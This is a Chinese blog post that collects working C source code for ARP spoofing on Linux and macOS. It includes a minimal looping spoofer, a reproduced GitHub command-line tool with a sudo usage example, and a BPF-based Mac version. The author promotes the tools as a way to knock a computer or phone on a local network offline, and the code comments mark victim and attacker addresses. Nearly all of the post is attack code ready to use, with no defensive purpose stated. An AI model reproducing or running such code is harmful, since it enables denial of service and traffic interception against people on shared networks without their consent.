Mac和Linux系统的：Arp欺骗源码

　　linux系统， 简化版的ARP欺骗工具

　　最近刚好在看linux系统socket相关的API， 刚好看到ARP相关的接口，就想到了arp欺骗， 以下为arp报文的数据结构

　　我这边所用原始的C++ 实现了一个ARP欺骗， 没有很多代码， 只要把准备好的数据， 发送给到网卡接口， 利用这个小工具， 也可以让局域网内的一台计算机或者移动设备暂时掉线， 很好用谁试谁知道：

 

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <memory.h>
#include <net/ethernet.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <sys/ioctl.h>
#include <bits/ioctls.h>
#include <string.h>

//int 4字节
//shor 2字节
//char 1字节
struct ARP_header
{
    unsigned short    Hardware ;
    unsigned short    Protocol ;
    unsigned char    HardwareAddressLen ;
    unsigned char    ProtocolAddressLeng ;
    unsigned short    Operation ;
    unsigned char    SourceHardareAddr[6] ;
    unsigned char    SourceProtocolAddr[4] ;
    unsigned char    TargetHardareAddr[6] ;
    unsigned char    TargetProtocolAddr[4] ;
};

int main( int argc, char * argv[]) {
    //网卡名字， 这个要改成你自己计算机的网卡名
    unsigned char NetInterface[16] = "wlp3s0";
    struct ARP_header arp_sp;
    arp_sp.Hardware = htons(1);
    arp_sp.Protocol = htons(2048);
    arp_sp.HardwareAddressLen = 6;
    arp_sp.ProtocolAddressLeng = 4;
    arp_sp.Operation = htons(2);

    unsigned char EthernetFrame[64] = {0};
    bzero(EthernetFrame, 64);
    //假数据， 发送伪造的IP地址和MAC
    unsigned char Spoofing_MAC[6] = {0};
    unsigned char Spoofing_IP[4] = {192&0Xff,168&0Xff,1&0Xff,1&0XFF};
    //目标的地址和目标的MAC
    unsigned char Target_MAC[6] = { 0Xd0, 0X7e, 0X35, 0X0a, 0Xef, 0Xd3};
    unsigned char Target_IP[4] = {192&0Xff,168&0Xff,1&0Xff,109&0Xff};
    //本机的IP地址和MAC地址
    unsigned char Source_MAC[6] = {0Xe0,0Xac,0Xcb,0X86,0Xfb,0X1e};
    unsigned char Source_IP[4] = {192&0Xff,168&0Xff,1&0Xff,103&0Xff};
    //ARP内容
    memcpy(arp_sp.SourceHardareAddr, Spoofing_MAC, sizeof(char)*6);
    memcpy(arp_sp.SourceProtocolAddr, Spoofing_IP, sizeof(char)*4);
    memcpy(arp_sp.TargetHardareAddr, Target_MAC, sizeof(char)*6);
    memcpy(arp_sp.TargetProtocolAddr, Target_IP, sizeof(char)*4);
    //以太网头部
    memcpy(EthernetFrame, Target_MAC, sizeof(char)*6);
    memcpy(EthernetFrame+6, Source_MAC, sizeof(char)*6);
    EthernetFrame[12] = ETH_P_ARP / 256;
    EthernetFrame[13] = ETH_P_ARP % 256;
    //以太网头部和ARP数据连接起来
    memcpy(EthernetFrame+14, &arp_sp, sizeof(char)*28);

    int ARPSocket;
    printf("Create Raw Socket");
    ARPSocket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if( ARPSocket < 0 ) {
        perror("socket failed");
        exit(1);
    }
    //获取设备
    struct sockaddr_ll device;
    device.sll_ifindex = if_nametoindex((const char*)NetInterface);
    if( device.sll_ifindex == 0 ) {
        perror("sockaddr_ll error");
        exit(1);
    }
    printf("Index of interface %s is %d",NetInterface, device.sll_ifindex);
    device.sll_halen = htons(6);
    device.sll_family = AF_PACKET;
    int i = 0;
    //连续发送100次
    for( i; i<100; i++) {
        int sFd = sendto(ARPSocket, EthernetFrame, 42, 0, (struct sockaddr*)&device, sizeof(device));
        if( sFd <=0 ) {
            perror("sendto failed");
            exit(1);
        }
        sleep(1);
    }

    close(ARPSocket);
}

　　极简的arp欺骗源码：

#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netinet/ether.h>
#include <netpacket/packet.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <pthread.h>

int main ( int argc, char *argv[] ) {
    int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    while(1) {
        unsigned char send_msg[1024] = {
            //targetMAC
            0x00, 0x0c, 0x29, 0x27, 0x59, 0x68,
            //myMAC
            0x00, 0x0c, 0x29, 0xeb, 0x89, 0xcb,
            //ARP
            0x08,0x06,
            0x00, 0x01, 0x08, 0x00,
            0x06, 0x04, //mac length , ip length
            0x00, 0x02, //arp response
            0x00, 0x0c, 0x29, 0xeb, 0x89, 0xcb, //my mac
            192, 168, 1, 5, //be fake IP address
            0x00, 0x0c, 0x29, 0x37, 0x59, 0x68, // targetMAC
            192, 168, 1, 2
        };
        
        struct sockaddr_ll sll;
        struct ifreq ethreq;
        strncpy( ethreq.ifr_name, "wlan0" ,IFNAMSIZ);
        ioctl(sock_raw_fd, SIOCGIFINDEX, (char*)&ethreq);
        bzero(&sll, sizeof(sll));
        sll.sll_ifindex = ethreq.ifr_ifindex;
        
        sendto(sock_raw_fd, send_msg, 42, 0 , (struct sockaddr *)&sll, sizeof(sll));
        sleep(3);
    }
    return 0;
}

　　linux的Arp欺骗源码

　　网上一搜， 刚好github这边有一个arp欺骗开源项目 ，基于C语言， 也有提供arp欺骗的源码， 使用方法和项目地址在文章最后：

/*  Copyright (C) 2013-2016  Vegetable avenger (r7418529@gmail.com)
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/


/*
 BUG list:
    1. using unlink interface to send pakcet , may cause an error
    2. -P flag unuse
*/




/*
Version 1.0 :     Basic ARP Spoofing function
Version 1.1 :     Add Control Operatior (-t , -s)
Version 1.2 :     Add -i Control Operator ,
        Update Localhost IP/MAC information fetch function ,
        Enhance -t Operator , add ARP table lookup capability .
*/

// Send an IPv4 ARP Spoofing packet via raw socket

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <bits/ioctls.h>
#include <net/if.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <errno.h>
//--------------------------------------------------------------------------
// the color of printf
#define P_NONE "\033[m"
#define P_RED "\033[0;32;31m"
#define P_GREEN "\033[0;32;32m"
//--------------------------------------------------------------------------
// ARP header
struct ARP_header
{
    unsigned short    Hardware ;
    unsigned short    Protocol ;
    unsigned char    HardwareAddressLen ;
    unsigned char    ProtocolAddressLeng ;
    unsigned short    Operation ;
    unsigned char    SoruceHardareAddr[6] ;
    unsigned char    SourceProtocolAddr[4] ;
    unsigned char    TargetHardareAddr[6] ;
    unsigned char    TargetProtocolAddr[4] ;
};

//--------------------------------------------------------------------------
// system flag
int Pass_flag =0 ;    // -P , pass data format resolution check
int I_flag =0 ;        // -i , interface flag
int S_flag =0 ;        // -s , spoofing
int T_flag =0 ;        // -t , Target IP flag

//--------------------------------------------------------------------------
// **************************************
// MAC address format check function
// **************************************
//
// this function work for check MAC address format
// it return 1 for match format , otherwise 0 for failed .

static int MAC_FormatCheck(char * argv)
{
    if(strlen(argv) !=17)
        goto FormatError ;
    else
    {
        for(int i=0 ; i<6 ;i++)
        {
                char num1 =*(argv+i*3) ;
                char num2 =*(argv+i*3+1) ;
        char dot  =*(argv+i*3+2) ;
            if(i<5 && dot !=':') //last set no :
            goto FormatError ;
        if(!((num1 >='a' || num1 <='e') ||
             (num1 >='A' || num1 <='E') ||
             (num1 >='0' || num1 <='9')) ||
           !((num2 >='a' || num2 <='e') ||
                     (num2 >='A' || num2 <='E') ||
                     (num2 >='0' || num2 <='9')))
            goto FormatError ;
        }
    }
    return 1 ;

FormatError :
    return 0;
}
//--------------------------------------------------------------------------
// ***************************************
// MAC format tramsform(Danger function)
// ***************************************
//
// this function work for transform MAC data to decimal ,
// argc is two byte character data ,
// per MAC data call this function six times .
static int MAC_SubFormatTransform(char * argv)
{
    char num1 =*(argv) ;
    char num2 =*(argv+1) ;
    int ret =0;

    if(num1 <='9') ret +=(num1-'0') *16 ;
    else if(num1 <='e') ret +=(num1-'a' +10) *16 ;
    else if(num1 <='E') ret +=(num1-'A' +10) *16 ;

    if(num2 <='9') ret +=(num2-'0') ;
    else if(num2 <='e') ret +=(num2-'a' +10) ;
    else if(num2 <='E') ret +=(num2-'A' +10) ;

    return ret ;
}
//--------------------------------------------------------------------------
// ********************************
// Argument s resolution function
// *********************************
//
// this function work for Resolution -s operator ,
// it will return 1 for success , and 0 for faile ,
// if resolution success , Ret_IP and Ret_MAC will be Ethernet packet format due to argv .

static int Arg_s_Resolution(char *argv ,char *Ret_IP ,char *Ret_MAC)
{
    char IP_s[16] ="";
    char MAC_s[18] ="";
    int IP_i =0;
    int MAC_i =0;
    int slash =0;
    int argvLen = strlen(argv);
    unsigned int tSpoofing_IP =-1 ;

    // devide argv in two part , IP and MAC , devided by '/'
    for(int i=0 ;i<argvLen ;i++)
    {
        if(*(argv+i) == '/' && slash==0) // chech slash find or not
        slash =1;
        else if(slash == 0) // save IP data
        {
        if(IP_i==15) // Error : IPv4 IP formate max 14 character ,OOO.OOO.OOO.OOO
            goto ResError ;
        IP_s[IP_i]= *(argv+i) ;
        IP_i ++ ;
        }
        else if(slash == 1) // save MAC data
            {
                if(MAC_i==17) // Error : MAC formate max 17 character ,XX:XX:XX:XX:XX:XX
                    goto ResError ;
        MAC_s[MAC_i]= *(argv+i) ;
                MAC_i ++ ;
            }
        else
        goto ResError ;
    }

    // resolution IP to ethernet format
    tSpoofing_IP = inet_addr(IP_s);
    if(tSpoofing_IP ==-1)
        goto ResError ;
        memcpy(Ret_IP , &tSpoofing_IP ,sizeof(int));

    // resolution MAC to ethernet format
    if(MAC_FormatCheck(MAC_s)==0)
        goto ResError ;
    for(int i=0 ; i<6 ;i++)
    {
        Ret_MAC[i] = MAC_SubFormatTransform(&MAC_s[i*3]) ;
    }

    return 1;

ResError :
    memset(Ret_IP ,0 ,sizeof(char)*15);
    memset(Ret_MAC ,0 ,sizeof(char)*17);
    return 0 ;
}
//--------------------------------------------------------------------------
// **********************************
// Get Localhost Interface information
// **********************************
//
// get localhost MAC and IP via iface
int getInterfaceInfo(unsigned char * iface ,unsigned char *local_IP ,unsigned char *local_MAC )
{
    // Get MAC address
    char tMAC[18]="";
    char ifPath[256]="/sys/class/net/";
        strcat(ifPath ,(char*)iface);
        strcat(ifPath ,"/address");

    FILE *if_f =fopen(ifPath , "r");
    if(if_f == NULL)
        return 0 ;
    else
    {
        fread(tMAC ,1 ,17 ,if_f);        //read MAC from /sys/class/net/iface/address
        fclose(if_f) ;
        for(int i=0 ; i<6 ;i++)        // confirm data to  local_MAC
            {
                *(local_MAC+i) = MAC_SubFormatTransform(&tMAC[i*3]) ;
            }
    }

    // Get IP address
    // using ioctrl to get local IP ,
    // it may not bt an best way to achive that , i still search another way
    int fd;
    struct ifreq ifr;
    in_addr tIP ;

    fd = socket(AF_INET, SOCK_DGRAM, 0);    //using ioctl get IP address
    ifr.ifr_addr.sa_family = AF_INET;
    strcpy(ifr.ifr_name , (char*)iface);
    ioctl(fd, SIOCGIFADDR, &ifr);
    close(fd);

    tIP =((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr;
    memcpy((char*)local_IP , &tIP ,sizeof(in_addr));

    return 1;
}
//--------------------------------------------------------------------------
// ************************************
// Fetch Localhosdt ARP table
// ************************************
// find IP or MAC from  localhost arp table ,

#define FETCH_ARP_TABLE_ERROR        0x0000        // could not access localhost ARP table
#define FETCH_ARP_TABLE_SUCCESS        0x0001        // find ARP entry
#define FETCH_ARP_TABLE_UNKNOW        0x0002        // ARP entry unknow or empty

int FetchARPTable(char * TargetIP , char * TargetMAC)
{
    // ARP table at /proc/net/arp

    int ret =FETCH_ARP_TABLE_UNKNOW;
    FILE *ARP_f =fopen("/proc/net/arp" , "r");

        if(ARP_f == NULL)
        {
        ret =FETCH_ARP_TABLE_ERROR;
    }
    else
    {
        // pass title
        char Title[100] ;        //file title , pass that
        fgets(Title ,100 ,ARP_f);

        char t_IP[15] ;
        char t_HW_type[8] ;
        char t_Flags[8] ;
        char t_MAC[17] ;
        char t_Mask[5] ;
        char t_Device[16] ;
        while(!feof(ARP_f)) //search arp table
        {
        fscanf(ARP_f ,"%s %s %s %s %s %s",t_IP,t_HW_type,t_Flags,t_MAC,t_Mask,t_Device);
        if(strcmp(t_IP ,TargetIP)==0 &&
           strcmp(t_Flags ,"0x2")==0)
        {
            //printf("%s|%s|%s|%s|%s|%s\n",t_IP,t_HW_type,t_Flags,t_MAC,t_Mask,t_Device) ;    // if you want to look data , unmark that
            ret =FETCH_ARP_TABLE_SUCCESS;
            // copy data to Target_MAC
            for(int i=0 ; i<6 ;i++)
                {
                *(TargetMAC+i) = MAC_SubFormatTransform(&t_MAC[i*3]) ;
                }
            break ;
        }
        }
        fclose(ARP_f);
        }
    return ret ;
}

//--------------------------------------------------------------------------
// ********************
// ARP spoofing main
// ********************
int main(int argc, char* argv[])
{
    unsigned char NetInterface[16]     ="eth0";
    unsigned char Target_IP[4]    ={0};    // Target IP
    unsigned char Soruce_IP[4]     ={0};    // localhost IP
    unsigned char Spoofing_IP[4]     ={0};    // Spoofing IP
    unsigned char Target_MAC[6]     ={0};    // TargetMAC , this value will lookup ARP table
    unsigned char Soruce_MAC[6]     ={0};    // localhost MAC;
    unsigned char Spoofing_MAC[6]     ={0};    // spoofing MAC
    unsigned char EthernetFrame[64] ={0};    // ethernet frame

    int opt;
    // opterr =0; //  disable getopt error message
    while((opt=getopt(argc, argv, "Pi:t:s:")) != -1)
    {
        switch(opt)
        {
        case 'i': // interface
        {
            int iLen =strlen(optarg);
            if(iLen<16)
            {
            char ifPath[256]="/sys/class/net/";
            strcat(ifPath ,optarg);
            strcat(ifPath ,"/address");
            struct stat buf;
            if(stat(ifPath,&buf) == 0)
             {
                I_flag  =1 ;
                            memcpy(NetInterface , optarg ,sizeof(char)*iLen);
            }
            else
                printf(P_RED "Error" P_NONE ": Unknow interface : [" P_GREEN "%s" P_NONE "]\n",optarg);
            }
            else
            printf(P_RED "Error" P_NONE ": Interface identify size unmatch , please fix source code\n");
        }
        break ;

            case 't': // target IP
        {
            // check IP format
            unsigned int tTarget_IP = inet_addr(optarg);
                    if(tTarget_IP !=-1)
                    {
            // Get target MAC from ARP table
                if(FetchARPTable((char*)optarg ,(char*)Target_MAC)==FETCH_ARP_TABLE_SUCCESS)
            {
                memcpy(Target_IP , &tTarget_IP ,sizeof(int));
                T_flag =1 ;
            }
                else
                printf(P_RED "Error" P_NONE ": Target IP [" P_GREEN "%s" P_NONE "] ,ARP table lookup failed \n",optarg);
            }
            else
            printf(P_RED "Error" P_NONE ": Target IP [" P_GREEN "%s" P_NONE "] ,format resolution failed \n",optarg);
        }
        break ;

            case 's': // spoofing IP and mac
        {
            if(Arg_s_Resolution(optarg ,(char*)&Spoofing_IP[0] ,(char*)&Spoofing_MAC[0] )==0)
            printf(P_RED "Error" P_NONE ": Spoofing data resolution failed\n");
            else
            S_flag =1;
            }
        break;
        case 'P':
        {
            Pass_flag =1;
        }
        break ;
        default :
            printf(P_RED "Error" P_NONE ":Unkonw Argument\n!");
        break ;
            }
    }

    // chech flag
    if(I_flag ==0 ||
       S_flag ==0 ||
       T_flag ==0 ||
       getInterfaceInfo(NetInterface , Soruce_IP ,Soruce_MAC) == 0) // Get localhost IP and MAC
    {
        printf("ARP_Spoofing Error\n");
        exit(-1);
    }

    // set ARP header
    ARP_header ARP_Spoofing ;
    ARP_Spoofing.Hardware = htons (1);
    ARP_Spoofing.Protocol = htons (2048);
    ARP_Spoofing.HardwareAddressLen = 6;
    ARP_Spoofing.ProtocolAddressLeng =4 ;
    ARP_Spoofing.Operation = htons(2);
    memcpy(ARP_Spoofing.SoruceHardareAddr  ,Spoofing_MAC    ,sizeof(char)*6);
    memcpy(ARP_Spoofing.SourceProtocolAddr ,Spoofing_IP    ,sizeof(char)*4);
    memcpy(ARP_Spoofing.TargetHardareAddr  ,Target_MAC,sizeof(char)*6);
    memcpy(ARP_Spoofing.TargetProtocolAddr ,Target_IP ,sizeof(char)*4);

    memcpy(EthernetFrame ,Target_MAC ,sizeof(char)*6);
    memcpy(EthernetFrame+6 ,Soruce_MAC ,sizeof(char)*6);
    EthernetFrame[12] = ETH_P_ARP / 256;
    EthernetFrame[13] = ETH_P_ARP % 256;

    // copy ARP header to ethernet packet
    memcpy (EthernetFrame + 14, &ARP_Spoofing, sizeof (char)*28);
    /*------------------------------------------*/
     int ARPSocket ;

        // create socket
        printf("Create RAW Socket ... ");
        if( (ARPSocket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) )) <0)
    {
            printf("%s",strerror(errno));
            printf("%d\n", ARPSocket);
            printf("Faile\n");
            exit(-1);
    }
        printf("Successfully\n");

    // Get Interface ibdex
    struct sockaddr_ll device;
    if ((device.sll_ifindex = if_nametoindex ((const char*)NetInterface)) == 0)
    {
         printf("if_nametoindex() failed to obtain interface index ");
            exit (EXIT_FAILURE);
      }
    printf ("Index for interface %s is %i\n", "eth0", device.sll_ifindex);
    device.sll_family = AF_PACKET;
      device.sll_halen = htons (6);
      int i = 0;
      for(i; i<100; i++) {
        printf("send %d", i);
        if (sendto (ARPSocket, EthernetFrame, 42, 0, (struct sockaddr *) &device, sizeof (device)) <= 0)
        {
            perror ("sendto() failed");
            exit (EXIT_FAILURE);
        }
        sleep(1);
      }

    
    // close socket
    close(ARPSocket);

    // free data
    printf("finish\n");
}

　　所用方法为：

sudo ./arpspoof -t 192.168.0.116 -s 192.168.0.6/EE:EE:EE:EE:EE:EE -i wlp3s0

　　Mac的Arp欺骗源码

　　我的系统为Mac， 也有Mac系统arp欺骗的代码， 这个亲测可行， 和linux上面有点区别的是需要ioctl将bpf与网络接口进行绑定， 而且我也假设网卡的名字是en0， 在被攻击的机器上面使用wireshark可以监听到这个arp请求 ：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <net/bpf.h>
#include <sys/socket.h>
#include <net/if.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/ethernet.h>
#include <netinet/if_ether.h>
#include <arpa/inet.h>
 
//const items
#define DEV_PLEN 12              //device path length, 设备路径长度。比如"/dev/bpf255"，最长11个字节加最后一位终止符，共12字节
const char INTERFACE[] = "en0";
const u_char TARGET_MAC[] = {0xd0,0x7e,0x35,0x0a,0xef,0xd3}; //victim's mac
const u_char SOURCE_MAC[] = {0xbb,0xbb,0xbb,0xbb,0xbb,0xbb}; //attacker's mac
const u_char TARGET_IP[] = {192,168,1,109};                    //victim's ip
const u_char SOURCE_IP[] = {192,168,1,1};                    //gateway's ip, 这里也一样，因为我们要假装是网关，所以用网关的ip
 
//main function
int main(int argc, char **argv) {
    int bpf = -1;
    int devno = 0;
    char dev[DEV_PLEN];
    u_char frame[42];
 
 
    //create arp frame -- 与之前相同，创建一个42字节长的arp帧
    struct ether_header ehead;
    struct ether_arp earp;
 
    memcpy(ehead.ether_dhost, TARGET_MAC, ETHER_ADDR_LEN);
    memcpy(ehead.ether_shost, SOURCE_MAC, ETHER_ADDR_LEN);
    ehead.ether_type = htons(ETHERTYPE_ARP);
 
    earp.arp_hrd = htons(ARPHRD_ETHER);
    earp.arp_pro = htons(ETHERTYPE_IP);
    earp.arp_hln = ETHER_ADDR_LEN;
    earp.arp_pln = 4;
    earp.arp_op = htons(ARPOP_REPLY);
    memcpy(earp.arp_sha, SOURCE_MAC, ETHER_ADDR_LEN);
    memcpy(earp.arp_spa, SOURCE_IP, 4);
    memcpy(earp.arp_tha, TARGET_MAC, ETHER_ADDR_LEN);
    memcpy(earp.arp_tpa, TARGET_IP, 4);
 
    memcpy(frame, &ehead, sizeof(ehead));
    memcpy(frame + sizeof(ehead), &earp, sizeof(earp));
    printf("* ARP frame created.\n");
 
     printf("%d\n",bpf);
    // find available bpf device -- 找到空闲的bpf设备
    while(bpf < 0) {
        snprintf(dev, DEV_PLEN, "/dev/bpf%d", devno);
        bpf = open(dev, O_WRONLY);
        
        ++devno;
        if(devno > 255) {
            printf("/dev/bpf* full.\n");
            exit(EXIT_FAILURE);
        }
    }
    printf("* /dev/bpf%d available.\n", --devno);
 
 
    // bound bpf to an interface -- 通过ioctl将bpf与网络接口进行绑定
    struct ifreq boundif;
    strncpy(boundif.ifr_name, INTERFACE, strlen(INTERFACE));
    if(ioctl(bpf, BIOCSETIF, &boundif) < 0) {
        perror("ioctl() failed");
        close(bpf);
        exit(EXIT_FAILURE);
    }
    printf("* Interface %s bound.\n", INTERFACE);
 
 
    // write to bpf -- 直接写入bpf即可发送，因为arp帧的头部已经包含了目标地址信息
    if(write(bpf, frame, sizeof(frame)) < 0) {
        perror("write() failed");
        close(bpf);
        exit(EXIT_FAILURE);
    }
    printf("* Done write to bpf.\n");
 
    close(bpf);
    return 0;
}

　　参考：

　　linux，源码的地址： github

　　MacArp欺骗源码地址：https://lngost.github.io/pages/articles/tech/ARP-Packet-By-c/arp-packet-by-c.html